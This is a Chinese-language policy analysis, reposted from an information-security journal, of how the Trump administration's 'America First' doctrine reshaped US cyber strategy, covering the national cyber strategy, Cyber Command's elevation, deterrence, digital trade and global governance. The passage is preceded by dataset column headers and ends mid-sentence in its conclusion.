text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# “美国优先”与特朗普政府网络战略的重构
##### 译文声明
本文是翻译文章，文章原作者 信息安全与通信保密杂志社，文章来源：信息安全与通信保密杂志社
原文地址：<https://mp.weixin.qq.com/s/P64Pn62Z6-gVu0vP3PPXjQ>
译文仅供参考，具体内容表达以及含义原文为准。
本文从历时性和共时性两个层面论述了特朗普政府“美国优先”执政理念形成的原因，在此基础上利用美国最新出台的战略文件等一手材料，对特朗普政府的网络安全观、网络战略及政策进行深度解读。
编者按：本文聚焦于“网络安全”这一国际关系领域的非传统安全议题，将特朗普政府的网络战略置于其“美国优先”的对外政策指导方针这一相对宏大的理念背景之下进行审视。文章从历时性和共时性两个层面论述了特朗普政府“美国优先”执政理念形成的原因，在此基础上利用美国最新出台的战略文件等一手材料，对特朗普政府的网络安全观、网络战略及政策进行深度解读，展现了特朗普政府“美国优先”的外交方针与具体层面的网络战略之间密切的互动关系。整体而言，本文选题新颖，层次分明，点面结合，论述严谨，兼顾历史与现实，是一篇以具体议题为切入点，深入研究特朗普政府“美国优先”外交理念的佳作。编辑部特推荐此文，以飨读者。
“美国优先”反映了美国与世界关系的深刻变化，这种深刻变化源于冷战后全球化、多极化和信息化趋势带来的新挑战，以及美国试图将这些新挑战纳入现行国际体系的受挫。网络战略是特朗普政府以实力原则重塑美国与世界关系大战略的一部分，包括在应对外部力量通过网络干预美国政治方面建立新的规则，在增强网络空间作战能力和加强网络空间威慑方面取得突破，在推动网络空间国际合作时力求美国收益最大化，以及对网络外交和网络情报的政策目标和运行机制进行较大幅度的调整。由于将“美国优先”
作为对外政策指导方针的执政理念蕴含内在矛盾，美国政府进一步推进网络战略也面临更为复杂的国际环境，能否实现国家利益需求和网络空间特性的有效融合，将是特朗普政府未来要面对的重要挑战。
## 导言
竞选期间，特朗普提出“美国优先”对外政策，作为其“使美国再次伟大”构想的核心内容之一。执政以后，特朗普将“美国优先”
理念融入其内政外交各项政策，调整多边责任与承诺，其网络战略也在此理念指导下进行重构。特朗普政府将网络空间国际事务和对外政策聚集在国家安全和经济繁荣上，通过推出国家网络战略、加强维护关键基础设施和网络安全、将网络司令部升级为独立联合作战司令部、增强网络空间全球攻防能力和威慑力量、改善政府与互联网企业合作关系等一系列重要举措，对网络战略进行全面重构。本文试图探讨在美国与世界关系深刻变化的背景下，“美国优先”
与特朗普政府网络战略的逻辑关联，并分析该战略对重塑美国与世界关系的影响。
## “美国优先”：美国与世界关系的深刻变化
在美国历史上，“美国优先”
作为政治口号多次被提出。特朗普适时察觉现时代美国与世界关系的深刻变化，选择“美国优先”为竞选口号，并在当选后将之作为执政理念，以应对这种变化带来的新挑战。
### （一）历史镜像
“美国优先”
一词的渊源可以追溯到美国立国之初，华盛顿在其告别演说中告诫美国民众应尽量避免介入欧洲大陆的大国纷争，“如果我们卷入欧洲事务，与他们的政治兴衰人为地联系在一起，或与他们友好而结成同盟，或与他们敌对而发产生冲突，都是不明智的”。华盛顿的箴言影响深远，每当外部世界发生重大变化，即会被用以提醒跃跃欲试者三思而行。
第一次世界大战爆发之初，美国公众普遍反对卷入冲突，总统伍德罗·威尔逊以“美国优先”宣示中立立场。威尔逊认为，作为国际领导者，美国应蓄积资源，待交战各方陷入困局时再出来收拾局面。
1920年总统选举期间，沃伦·哈丁以“美国优先”
回应公众对回归一战前平静生活的期待，承诺改变积极干预的对外政策。哈丁解释道，美国此时不能为人类提供什么有效服务，除非能够证明美国有能力促进各强国的协调与合作。
第二次世界大战爆发后，秉持不干涉理念的政治力量聚集起来，成立“美国优先委员会”
，重申美国民族主义和国际孤立主义，反对美国以任何形式卷入纷争，指责罗斯福政府试图对战争施加影响，也反对向正在抵抗德国入侵的欧洲国家提供援助。
“美国优先”历次作为政治口号出现都处于美国与世界关系发生重大变化之际，其政策指向往往带有鲜明的孤立主义色彩。然而美国的孤立主义从不意味着与世界体系隔离，而是追求以尽量小的风险和成本，适时介入国际事务以获取长期战略利益。无论是威尔逊的十四点计划，还是罗斯福与丘吉尔的《大西洋宪章》
声明，都表明他们的“美国优先” 实质上是为美国推行全球扩张和争夺国际领导权选择时机。
2016年总统大选期间，特朗普以“美国优先” 作为其“让美国再次伟大”
构想的核心，意在引起公众期待，激发社会共鸣，进而获取选民支持。2016年3月，特朗普接受《纽约时报》电话采访，首次确认其外交政策的核心是“美国优先”，当被问及如何回应盟友和对手的不信任并试图从美国的控制下脱离时，特朗普强调:
“我不是孤立主义者，但我主张美国优先，我喜欢这个说法，我就是美国优先主义者。”2016年5月，特朗普在华盛顿五月花酒店的演讲中承诺:一旦当选，“美国优先”将成为其执政压倒一切的主旋律，同时讥讽全球主义是假歌曲。
当选总统后，特朗普将“美国优先”确立为其执政理念，统领内政外交，其就业、减税、贸易、移民、能源等施政重点均冠以“美国优先”名号。2017年6月，特朗普执政半年之际，白宫发布声明称特朗普及其团队全力为这个国家的公民服务，保护他们的安全，恢复他们的工作，并且在所有方面都把“美国优先”放在首位。2017年12月，特朗普政府推出第一份国家安全战略报告，强调“美国优先”
是该战略的基本信念，也是确保美国世界领导地位的基础，并将重新树立国内和世界对美国的信心。
### （二）现实基础
美国主导构建了现行国际体系的基本架构，包括以联合国为基础的多边政治和外交机制，以世界贸易组织为核心的多边贸易体制，以国际货币基金组织和世界银行为核心的国际金融体系，加上以北约和美日、
美韩等多边与双边同盟为基础的集体军事安全机制。长期以来，这些机构和机制既为世界各国提供了合作机会和安全保障，其运行规则也大致符合美国国家利益。美国还将其自由、
民主的价值理念和经济政治体制塑造成理想的发展模式。长期以来，这些经济、 政治、 军事和价值体制为美国和世界关系的稳定和平衡提供了基础。
冷战结束后，以金砖国家为代表的一批新兴工业化国家取得了远超西方发达国家平均水平的经济发展。根据国际货币基金组织的数据，从1997年至2017年，国内生产总值前
15
名的国家经济规模增长平均约为215%，西方国家中仅有澳大利亚一国达到均值以上，为225%，美国的增长仅为125%，中国则增长1168%。美国在全球经济中所占比重也从超过三分之一降至不足四分之一，经济总量占比下降的直接后果是世界和其他国家依赖美国的程度下降，这也意味着美国可能无法聚集足够资源应对新的挑战。
国际恐怖主义是冷战后国际社会面临的主要威胁，美国试图将应对和打击国际恐怖主义纳入既有多边安全机制和军事同盟体系，在联合国框架下推动反恐国际合作，强化北约和双边同盟应对恐怖主义的功能。然而美国发动的反恐战争未能从联合国和北约等得到足够的支持，甚至一些反恐政策和反恐行动受到了来自联合国机制和盟友体系的诸多质疑和掣肘。美国不得不承担了十余年两场反恐战争的主要成本，在伊拉克和阿富汗投入数十万军队和数万亿美元，不仅背负了沉重的经济负担，还削弱了对同盟体系的领导能力。
随着全球社会信息化加速演进，源于网络空间的风险和威胁成为国际社会面临的又一全球性公共问题，全面而深刻地改变了美国与世界的关系。五十年前，美国国防部支持缔造了互联网，二十多年前克林顿政府将互联网商业化并推广至全世界，迄今美国企业仍提供着大多数支持互联网运行的软件、协议、技术和应用，支撑网络空间的核心资源和关键系统仍然受制于美国的行政或司法管辖。但美国政府对整个互联网的控制力和影响力也在逐步下降，奥巴马政府意图以互联网自由、
网络空间开放、 志同道合伙伴关系为基础构建网络空间全球治理，也没有得到现行国际体系的积极响应。
上述变化足以显示美国愈加难以从现行国际体系中得到超额收益，甚至得不到必要的支持( 至少美国学术界和决策层已经逐渐达成这一共识)
。一些美国人认为，当美国全力应付对其构成首要安全威胁的全球恐怖主义和网络安全挑战时，这些机构和机制不但不帮助美国，反而成为一些国家和势力用来对抗和削弱美国领导地位的平台。在特朗普看来，现行国际体系已成为一些国家利用美国创造的机遇为自身牟利的工具，或是利用美国的开放市场和民主体制损害美国利益的场所。他直言不讳地抱怨道:
“我们本是个大块头，但我们没有被聪明地领导，成了愚蠢的大块头，被所有人系统性地利用和欺负。”
新的世界格局已对美国的领导地位形成多方位挑战，也削弱了西方国家作为一个整体对世界局势的控制能力。“美国优先”
折射出近年来美国社会中上下蔓延的焦虑感和受挫感，美国已无力继续领导世界，也不应在现行国际规则的束缚下继续沉沦，尽管大多数国际规则是美国一度大力推行的。那么，美国应当思考是否继续维系该体系，能否在这一体系和规则下重新获得领导地位，或是应当推动建立新的国际体系，使其更符合美国的利益，解决美国面临的迫切问题。
特朗普政府相继退出或威胁退出一些重要的国际组织或国际协定，如退出联合国人权理事会、联合国教科文组织、退出巴黎气候变化协定，退出美俄中导条约，重新修订北美自由贸易协定和美韩自由贸易协定等等，即可视为对上述变化的一种反应。而如何利用美国仍存的资源和优势，重构支撑国际体系运行的规则和机制，重塑美国与世界的关系，以及对于带来诸多新挑战的网络空间，如何将“美国优先”
理念融入处理网络空间国际事务和对外政策的过程，就成为特朗普政府规划国家安全战略和网络战略的重点。
## 特朗普政府对网络空间形势的判断
网络空间与国际体系关联愈加紧密，大数据、云计算、物联网、人工智能推进网络空间不断升级换代，网络大国实力此消彼长，网络空间治理国际阵营分化重组，网络空间国际规则谈判进展缓慢，美国与数字世界的关系也在发生深刻变化，这些都使特朗普政府面临更为复杂的网络态势。
### （一）网络空间的新挑战
网络空间作为一个新型战略空间和经济社会运行平台，与经济、政治、社会、军事等各领域的发展日益融合，加速了世界社会的信息化进程，同时也带来各种风险和威胁。从国家层面来看，私营部门、社会团体和个人不断获得网络赋能，削弱或转移了政府对社会的影响和控制，政府部门也积极探索利用数据和网络技术，提升管控网络空间和治理公共事务的能力。同时，社会运行日益依赖信息网络、关键系统和重要数据的稳定与安全，加强网络安全保障已成为政府部门的首要职责。从全球层面上看，网络空间权力结构呈现分散化趋势，网络空间大国的博弈进一步加深，关键信息基础设施与核心技术控制、
数字经济竞争和数字贸易壁垒、跨国网络犯罪和网络恐怖主义、商业网络窃密和网络揭秘、网络虚假信息制造和传播、网络军事化和网络军备扩散等已成为全球性公共问题，不断冲击现行国际体系。即便是首屈一指的网络大国，美国也无法凭一己之力，独立应对数字世界纷繁复杂的挑战。一些力量或行为体试图以非对称手段，经由网络空间或针对网络空间进行攻击和破坏，威胁美国国家利益和国家安全。
研究机构和智库关注网络空间持续上升的风险和威胁，建议特朗普政府采取应对措施。2017年1月，美国战略与国际研究中心发布报告《从感知到行动: 第 45
任总统的网络安全议程》，列举美国政府维护网络安全面临的三大难题: 一是美国高度依赖本质上十分脆弱的网络技术和应用;
二是针对网络空间跨国行动的执法非常困难，一些国家拒绝与美国合作起诉被控实施网络犯罪活动的本国嫌疑人;
三是一些国家不愿放弃网络间谍活动或网络攻击行动带来的政治、经济或军事上的潜在收益。报告据此认为，尽管政府部门、运营企业和社会公众对网络安全的关注度持续快速增长，但美国仍然处于危险之中。
国会尤其关注需要在立法和政策层面采取行动的迫切议题。政府更迭之际，国会密集召开听证会，以恰当评估形势，推动立法进程，促使政府制定可行政策。以参议院军事委员会为例，自2015年1月至2019年4月，五年来举行涉及网络议题的听证会达35次之多，按年度分别为5、5、10、9、6次，显示国会对网络议题愈加重视，关注的内容也更加具体和深入，如国防工业基地制定网络安全政策和落实网络安全责任、军事部门在保护中期选举中的网络行动、加密与国家网络安全的挑战、网络司令部的升级和能力建设，等等。
公众担忧网络空间冲击美国民主体制。2016年大选期间，黑客大举入侵各地选举系统，窃取并曝光内部信息。希拉里及其竞选经理波德斯坦的邮件密码被骗取，民主党全国委员会网络系统被侵入，希拉里团队竞选策略和竞选活动往来邮件被维基揭秘披露后广为传播。网络传播虚假信息也成为干预选举的重要手段，如编造希拉里娈童、
克林顿基金会得到敌对力量支持等等。虚假信息的制造者既有偏好特定候选人或政党的个人，也有有组织的政治团体;
既有美国国内的力量，也有来自国外的力量。社交媒体对选举过程的影响如此之大，令民众对笃信不已的美国民主政治制度能否继续运行都产生了怀疑。
网络空间全球治理主导权的争夺日趋激烈。奥巴马政府支持“多利益攸关方”治理模式，提出建立网络空间“志同道合”的国际合作伙伴关系，然而斯诺登揭秘美国情报机构长期、大规模和系统性监控互联网流量和国际通信内容，这对于正在谋划主导网络空间全球治理的美国不啻迎头重击。随着更多美国情报部门实施网络监控的项目被揭露，美国再难继续扮演网络空间秩序维护者和领导者的角色，因为“信任已经不复存在，相互提防成为共识”。与此同时，一些国家积极探索互联网治理的不同模式，得到越来越多的国际认可和支持，如欧盟在个人数据保护和打击网络犯罪方面取得成效，美国也不得不加入欧洲首倡的数据保护规范和网络犯罪公约。对于如何治理互联网信息传播，已有很多国家倾向于采取严格管控的中国模式，而非放任自由的美国模式。
### （二）网络战略的优先关注
一项综合的网络战略涉及美国如何从国家安全战略高度认识网络空间的形势变化，识别美国当前和未来数年亟需面对的重大风险和威胁，以及如何整合资源、规划团队、设定目标，对包括上述挑战在内的广泛议题作出回应。奥巴马政府已经搭建了网络战略的基本框架，设定了网络经济、网络外交、网络军事、网络情报及网络安全等战略方向，赋予联邦政府职能部门和专门机构相应职责，以及跨越多个部门和涉及多个层级的协调体系。作为继任者，特朗普并不试图颠覆该框架，而是希望在“美国优先”理念的指引下，确立优先关注的议题，设定切实可行的目标。
对特朗普政府而言，无论是兑现竞选承诺，还是解决紧迫问题，或是重塑美国与世界的关系，都是围绕安全和经济两大主题展开的。2017
年特朗普政府首份国家安全战略已经明确国家安全和经济繁荣是其优先关注，相较于奥巴马政府两份国家安全战略列出安全、繁荣、价值观和国际秩序四大持久国家利益，可谓大大简化。同样，特朗普政府网络战略也紧扣保障国家安全和促进经济繁荣，特朗普在国家网络战略序言中点明，“保护美国的国家安全，促进美国人民的繁荣是我的首要任务。确保网络空间安全是美国国家安全和人民繁荣的根本”。这就将网络安全与国土安全、经济繁荣等相提并论，一并纳入美国至关重要的国家利益。
战略与国际研究中心的报告为特朗普政府网络战略预备了三个政策目标：创造一个安全稳定的网络环境、支持持续的网络经济增长、维护个人权利和国家安全。为达成上述目标，需要确立两个政策重点：一是创建和实施跨部门的全面合作，二是整合联邦政府职能部门和机构的网络安全职责。曾担任奥巴马政府白宫网络事务协调官的迈克尔·丹尼尔主张以网络生态系统构建国家网络战略，建议提升网络安全在整个网络生态系统中的层级，整合网络能力和外交与国家安全政策工具，以及改善网络安全事件应急反应能力。前网络司令部司令基思·亚历山大强调能力建设的重要性，建议从根本上重新思考国家网络防御架构，重新思考政府和私营机构的作用和责任，为网络防御合作寻求新的共同点，还应加强培养专业人员，为政企合作提供技术保障。
特朗普政府国家网络战略报告充分回应了智库学者和前任官员的建议，报告的核心内容是网络战略四大支柱及相应目标:
支柱之一是保护美国人民、国土和生活方式，目标是管理网络安全风险，提高国家信息和信息系统的安全和韧性;
支柱之二是促进美国繁荣，目标是维持美国在科技生态系统与网络空间发展中的影响力，使其成为经济增长和创新的开放引擎；支柱之三是以实力维护和平，目标是识别、反击、破坏、降低和阻止网络空间中破坏稳定和违背国家利益的行为，同时保持美国在网络空间的优势;
支柱之四是提升美国影响力，目标是维护互联网的长期开放性、可操作性、安全性和可靠性。这四大支柱和目标仍然是围绕特朗普政府优先关注的经济增长和国家安全两大主题而设定的。
## 网络战略的重构与政策实施
基于“美国优先”理念和对网络空间新挑战的判断，白宫制定了《国家网络战略》，并在该战略指引下推出国防部《网络战略》和国土安全部《网络安全战略》，这些战略文件构成特朗普政府网络战略的基本框架。
### （一）理念转变和战略规划
**首先，确立了网络战略独立支柱的地位。**
研究者往往将美国国家安全战略称为大战略，由相互关联的服务于国家总体目标的政治、经济、军事等领域的资源和能力构成。网络战略是从属于大战略、与军事和外交等战略手段相互融合并日趋独立运行、保护并拓展国家利益和价值观的一种资源和手段。在美国战略体系中，经济、外交、军事和情报构成了大战略的主要领域，其他事务一般处于次要地位。此前小布什政府和奥巴马政府也都制定了国家层面的《保护网络空间国家安全战略》
和《网络空间国际战略》，前者主要关注关键信息基础设施保护，后者侧重应对网络挑战国际合作议题。而特朗普政府的《国家网络战略》则全面规划网络空间涉及维护国家安全和经济繁荣的目标和行动，确立了网络战略作为国家大战略独立支柱的地位。
**其次，设定有限的战略目标并确保执行。**
奥巴马政府《网络空间国际战略》制定了全面、宏大的战略目标，涵盖经济、国防、执法和外交等多个领域，但回顾政策执行，一些要点如开展网络援助、保障互联网自由、加强执法合作、推进国际规则等要么流于形式，要么求而不得。特朗普政府网络战略聚焦经济繁荣和国家安全两大方向，国防部和国土安全部的网络战略文件也按照挑战、目标、行动计划统一格式，相对有限的目标设定提升了付诸实施的几率。
**第三，摆脱国际规则和政治正确的束缚。**
这符合特朗普较少顾忌规则约束的执政风格。目标导向的网络战略需要综合运用各种政策工具。奥巴马政府已经确定既可以动用网络手段应对常规攻击，也可以使用常规手段应对网络攻击，但对何时及如何反击较为谨慎。公布《国家网络战略》之前，特朗普签署了一项行政命令，撤销奥巴马政府为实施攻击性网络行动附加的严格限制，从而大大放宽了对敌使用攻击性网络武器的约束条件。另一个突破是提升网络空间主动防御，国防部网络战略采用了一个防御前置的术语，即在攻击源头部署防御设施，或提前摧毁攻击者所使用的工具、平台或路径，这意味着对国外目标预先进行攻击，在奥巴马政府时期军方没有获得采取这种行动的授权。
**第四，削弱对手威胁美国的意愿和能力。**
作为重要战略手段，网络威慑寻求在攻击源头消除网络安全威胁。对跨国网络攻击和恶意网络活动实施威慑，要解决如何准确归因溯源、如何对攻击者采取行动等问题，而一旦跨国网络攻击得到政府指使、纵容或庇护，则威慑往往无法奏效。特朗普政府试图改变网络威慑的目标和方式，国家安全事务助理约翰·博尔顿指出，“我们需要改变政策，不是因为我们希望在网络空间进行更多的进攻行动，而是为了建立有效的威慑结构，让对手明白对我们采取行动的成本比预料的要高”。前国土安全与反恐助理托马斯·博塞特也认为网络报复不会产生任何威慑作用，反而鼓励对手研发更先进的攻防手段，应以网络之外的国家力量来惩罚恶行。这意味着特朗普政府认为网络报复并非首选，而更倾向于在现实世界直接进行报复，不论这种报复是否会产生难以预料的后果，但确实体现了特朗普政府寻求直接而可见的政策后果的思路。
特朗普就任之前就承诺尽快制定保护网络空间安全的战略，但在2017年5月签署了一份加强保护网络安全的 13800
号总统行政命令之后，迟至2018年9月才推出《国家网络战略》。加上2018年5月国土安全部《网络安全战略》、9月国防部《网络战略》、12月国防部《云战略》，这样特朗普政府网络战略在2018年期间大致成型。
第 13800
号总统行政命令旨在加强联邦网络和关键基础设施网络安全，强化机构负责人网络安全责任，要求各部门制定重大网络安全应对计划。国土安全部《网络安全战略》
提出风险识别、降低脆弱性、减少威胁、减轻后果和实现网络安全五大支柱，规划未来五年完善网络安全保障，减少全局性、
系统性网络风险，提升网络防御综合能力。《国家网络战略》全面阐述网络战略四大支柱及相应目标和优先行动，重点在促进网络经济繁荣、优化防御网络风险能力、增强网络威慑有效性、
预防打击恶意网络活动等。国防部《网络战略》
认为美国在网络空间面临大国长期战略竞争的威胁，需通过提高网络空间作战能力，预防性打击恶意网络活动，加强跨部门、政企及国际合作以应对。国防部《云战略》
认为及时获取数据和实时处理数据的能力是确保作战任务成功的关键，云将为作战人员提供数据支持，保持美军在战场上的技术优势。
上述战略文件构成了美国白宫和国防、外交、情报、国土安全等职能部门实施网络战略和规划网络政策的依据，也为促进跨部门合作、政企合作和国际合作提供了指引。
### （二）职能调整和政策实施
为了保证网络战略得以实施，在联邦层面形成了“1 + 4 + 2”
的政策执行框架，即白宫统领，国防部、国土安全部、国务院和国家情报总监办公室履行核心职能，财政部和司法部提供政策工具，按照各自职能范围独立或联合执行网络经济、网络外交、网络军事、网络情报和网络安全政策。
网络经济政策的重点是促进就业、数字贸易和应对商业网络窃密。“美国优先”
的核心是经济增长和国家安全，强调经济安全也是国家安全，经济安全的核心是贸易和就业，促进就业和经济增长也就成为特朗普政府网络经济的落脚点。白宫设立了美国创新办公室，由特朗普的女婿库什纳负责。2017年2月，该办公室召集多家主要网络公司负责人座谈，商讨如何通过互联网及相关产业的发展，带来就业增加和经济增长。贸易是特朗普政府促进经济增长的重点，一方面通过强势贸易冲突的政策手段，打破现有多边国际经贸体制的约束，建立以美国为中心、由美国与其他国家重新磋商的双边自由贸易协议为框架的新架构。另一方面将数字贸易规则纳入谈判议程，致力于消除数字贸易壁垒，扩展美国企业在国际数字贸易市场的运营空间。此外，特朗普政府认定商业网络窃密构成重大威胁，削弱了企业竞争力，致使就业流失，进而削弱美国经济增长，因而将矛头针对外国政府和具体案例，通过外交施压、司法起诉及贸易制裁等措施扭转不利局面。
网络外交政策的重点是推动网络空间国际规则的构建。特朗普政府强调建立“以规则为基础的国际秩序”
，推行美国主张的网络空间国际规则就成为网络外交的使命。网络外交强调通过构建开放的网络空间，对外传播美国价值观，以潜移默化的方式干预其他国家的社会舆论和政治进程。奥巴马政特别重视利用互联网拓展公共外交，希拉里任国务卿期间，国务院每年投入数百万至数千万美元，支持研发突破网络审查的技术。国会众议院外交委员会曾举办听证会，探讨如何继续推动网络空间开放，如何支持研发和推广能绕过网络监管的技术和软件。但传播自由与民主价值观已非特朗普政府的关注重点，“本届政府外交政策的信念是，我们在安全与繁荣上与其他国家接触越多，就越能改进这些国家的人权状况，历史证明美国所到之处都留下了自由的足迹”。遵循这一思路，美国国务院对网络外交投入大幅降低，国际信息署和国际广播机构的一些网络项目被要求取消或降低预算，推动网络开放和网络自由的行动也逐渐被边缘化。
网络军事政策的重点是提升网络作战能力。2017年8月，特朗普下令把网络司令部升级为联合作战司令部，以专注于网络作战行动，并指示国防部长寻求网络司令部与国家安全局脱离的步骤，美军因此获得独立网络作战能力，并从国家安全局拿回网络空间指挥作战的主动权。这一方面是为了增强军队网络攻防能力，应对来自不同方向多样化的网络威胁，回应网络空间重要性和脆弱性同步增长的现实。另一方面也是为了争取更多国防预算，建设强有力的网络部队，既可以缓解公众对网络威胁的担忧，也更容易得到国会支持。从国际军事发展趋势来看，网络空间已经成为大国竞争的新领域，各国军方将网络作战能力当作未来军力发展的重点，美军当然要牢牢把控住这一新高地的领先优势。特朗普政府还积极推动联盟体系的网络军事合作。2018年9月，北约秘书长斯托尔滕贝格称，一旦成员国遭遇外来网络攻击，将等同于受到军事攻击，北约可启用宪章第五条款。2019年4月，美日安全磋商委员会确认特定状况下的网络攻击构成美日安保条约第五条所指的武装攻击，美国将采取行动，提供协防义务。
网络情报政策的目标和策略进行了较大调整。经历棱镜计划曝光、中央情报局网络武器失窃等事件的冲击，网络情报运行受到国内外越来越多的压力，各情报机构也放低姿态，尽量让这一敏感工作回归隐秘。特朗普并不特别关注情报工作，但国外情报对于外交与国家安全的决策支持依然不可或缺，网络情报的地位仍然不断提升。2019年2月至5月，正值下一代移动网络5G开始部署应用之际，国务卿迈克·蓬佩奥展开了对欧洲、日本、拉美等地区的游说，指称中国电信企业协助政府获取情报，将对各国网络和数据安全构成威胁，希望各国不要采购中国电信企业的产品。蓬佩奥曾任中央情报局局长，非常清楚电信基础设施对于获取通话和网络数据的重要性，一旦下一代移动通信基础设施由中国企业部署实施，美国将在目标国家失去获取网络情报的便利。可见，蓬佩奥强调的是网络安全，真正意图则还包含维持美国情报机构在全球网络空间的行动自由。
## “美国优先”网络战略的影响
尽管特朗普政府意图以“美国优先”
统领其内政外交各领域的政策，但就概念本身而言，“美国优先”执政理念和战略目标的内在逻辑并非总是一致，甚至在根本上是有矛盾的，因而“美国优先”
指引下的网络战略也存在推行不顺畅的问题。
### （一）近期效果
**首先，网络空间紧张态势有所缓解。**
特朗普执政以来，针对美国政府、私营部门和公众设施的大规模网络攻击确实有所缓解，重大网络安全事件的发生频率有所降低。除
2017年5月特朗普执政之初，席卷全球的大规模勒索病毒感染事件之外，而用于制造该勒索病毒的微软视窗桌面操作系统的漏洞及利用该漏洞进行攻击的工具，是由于2016年5月奥巴马政府期间国家安全局网络武器库被黑客组织攻破而造成的外泄。此外，通过网络窃取美国企业和研究机构商业机密和技术专利的活动也相对减少，这是与特朗普政府展示了阻止相关威胁的坚决姿态不无关系，包括动用经济制裁和司法审判的政策工具，对已经归因溯源的案例采取单边行动，以及宣称将不惜使用一切必要的手段，使用“黑回去”网络攻击和军事手段回击外来网络攻击，以及通过外交途径施压一些国家加强对网络窃密活动的管控，这些措施一定程度上加强了网络威慑的可信度和有效性。
**其次，网络恐怖主义势头受到抑制。**
特朗普政府将击退伊斯兰国和其他极端伊斯兰恐怖组织作为国家安全优先事务，通过发动持续的积极的联合军事行动、加强与国际伙伴的合作以切断恐怖组织的资金供应、扩大恐怖组织活动的情报共享范围，以及发动针对网络恐怖主义的网络战，破坏和切断伊斯兰国的宣传和招募活动。多管齐下的打击收到了成效，特朗普政府针对伊斯兰国在伊拉克和叙利亚的据点进行持续军事打击，一步一步压缩伊斯兰国的活动空间，至2019年3月美国支持的“叙利亚民主军”宣布攻下叙利亚代尔祖尔省的巴古兹村，伊斯兰国的活动据点已被全部清除。与此同时，特朗普政府鼓励美国互联网企业执行其服务条款和社区标准，禁止将其平台用于恐怖主义目的，主要互联网企业给予积极回应，于2018
年发起反恐怖主义全球互联网论坛，协助打击网络恐怖主义活动。据2019年3月白宫情况简报，脸书在用户标记之前删除了超过99%的伊斯兰国和基地组织的内容，在发布后一分钟内阻止了余下大部分内容，优兔声称在得到10个评论之前删除与恐怖主义相关视频的比例从一年前的8%上升到近
50% 。
**第三，数字贸易规则谈判取得进展。**
特朗普政府积极推动数字经济以促进就业和经济增长，认为各国数字贸易壁垒的形成和发展限制了美国企业全球运营数字产品和服务，不利于全球数字贸易自由化，也损害了数字经济的未来前景。在商务部和贸易代表办公室等行政部门的积极推动下，在美墨加自由贸易协定、
美韩自由贸易协定和美日自由贸易协定谈判中，美国力主构建更为便利的数字贸易环境，维持电子商务零关税，限制扩大如数据本地化等数字贸易保护政策的实施范围，削减阻止跨境数据自由流动的数字贸易壁垒，等等，这些主张在已达成的自由贸易协定中大致得到落实，美国立法机构和安全部门要求在数字贸易相关谈判中加入包含政治和价值观因素的规则也得以体现。
此外，网络司令部升格并独立运行，网络部队作战能力提升，网络经济促进就业和经济增长，同盟体系网络安全合作有所加强，都可以视作特朗普政府网络战略实施以来取得的一些短期成效。2019年2月，白宫总结本届政府两年执政业绩时，强调特朗普加强了国家网络防御，将网络司令部升格为独立联合作战司令部，这是特朗普为重建军队并捍卫美国全球利益的重要成就之一。
### （二）长期影响
特朗普政府重构网络战略是落实“美国优先”
对外政策、应对数字世界新挑战、重塑美国与世界关系的重要步骤，不仅影响网络空间国际规则制定和全球治理的发展，也将在国际贸易、国际安全等领域产生长期和深远影响。
**首先，破坏网络空间战略稳定。**
特朗普政府秉持“美国优先”
执政理念，由此推行的网络战略也不可避免具有单边、非共赢和排他性特点。特朗普政府对体现现行国际体系核心价值的多边机制表现出不满和不屑，在处理涉及本国自身国家安全和经济繁荣的网络空间国际事务和对外政策时，频频采取单边行动，在处理双边关系中的网络议题时动辄以经济制裁施压，或以国内法为依据实施长臂管辖，凭借美国的实力地位和资源优势，短期内确实能够获得符合自身利益的结果，特别是在一些个案上面。但随着这一战略持续实施，将在越来越多议题上引发矛盾和冲突，随着分歧增多和矛盾积累，其他国家将不得不采取针对性的反制措施，从而破坏网络空间的战略稳定。
**其次，推动网络空间军事化和军备竞赛。**
网络空间非军事化是国际社会的普遍期待，美国政府也清楚一个和平与繁荣的网络空间对美国及世界的重要性。2014年3月，时任美国国防部部长的查克·哈格尔言辞凿凿地宣称美国不谋求将网络空间军事化，称国防部将对政府网络之外的网络行动保持克制，并向其他主要网络大国喊话，要求他们也不要采取推动网络空间军事化的政策。而特朗普要求美军再次伟大，要求更快提升网络作战能力，现在美国国防部考虑的重点已不再是能否网络空间军事化的问题，而是如何确保网络空间作战能力的绝对优势，以及如何增强网络部队的实战能力。升格网络司令部为独立的联合作战司令部并扩大作战范围，更增加了国际社会对于网络空间军事化不可避免和网络军备竞赛加剧的担忧。
**第三，加剧网络空间大国竞争和冲突。**
特朗普政府的国家安全战略和国家网络战略均将俄罗斯和中国列为挑战美国领导地位、
威胁美国国家安全的战略对手。这种消极的战略定位不可避免地引发网络空间的大国竞争和冲突。中美处理网络空间国际事务和对外关系的原则立场、利益诉求和政策主张存在差异和分歧并不意外，理性看待存在的分歧以及管控可能的冲突是处理中美关系的正确选择。而特朗普政府意图限制和围堵中国，特别在一些可能挑战美国优势的新技术领域。“中美之间实力的转移是双边关系中最大的不稳定因素。对美国而言，中国的崛起和美国的相对衰落，以及权力的转移必然伴随着冲突，这种宿命论令美国产生了焦虑感，这种焦虑可能使美国对中国日益增长的实力和影响做出过激反应。在这种情况下，在合作与竞争共存的领域，竞争的态势可能加强，并超过合作的态势，使中美关系出现更多的紧张”。特朗普政府干预中国互联网企业在美运营、指责中国政府支持商业网络窃密、阻止其盟友伙伴采购和部署中国企业提供的5G网络设备等，即是特朗普政府因中美之间的实力转移而产生的焦虑感和消极预期的体现。
**第四，迟滞网络空间全球治理进程。**
特朗普政府对网络空间全球治理议程的参与热情和期待均有较大程度的降低，且阻挠不符合美国政策主张和利益诉求的国际进程。2017年6月联合国信息安全政府专家组未就网络空间行为规范形成共识文件，主要原因是美国代表极力要求在共识文件中加入其他国家代表反对的可通过经济制裁、军事行动等手段回应网络攻击的文字表述，这正是特朗普政府网络战略的核心内容之一。2018年11月在法国巴黎举行的互联网治理论坛上，特朗普政府派出一个低级别代表团与会，也未在旨在增进网络空间信任、安全和稳定的《网络空间信任和安全巴黎倡议》文件上签字。这些网络空间全球治理进程遇阻，与特朗普政府对网络空间全球治理所持消极态度有着直接关系。
## 结语
特朗普宣称他的战略是“有原则的现实主义”
，即正视全球竞争的现实，坚持推进美国价值的原则。显然，特朗普不是甘于沉沦的那一类美国人，在美国与世界关系发生深刻变革的时代，特朗普发现并激发了潜藏于美国社会中的另一种国民性格，即现实主义的权力争夺和对自身利益的专注，这种诉求将超越美国百余年来因国力不断上升而形成的优越感和使命感。特朗普政府意图以“美国优先”
重构现行的国际贸易体系和安全架构，以美国一己利益为据建立网络空间国际规则，当美国经济优势、
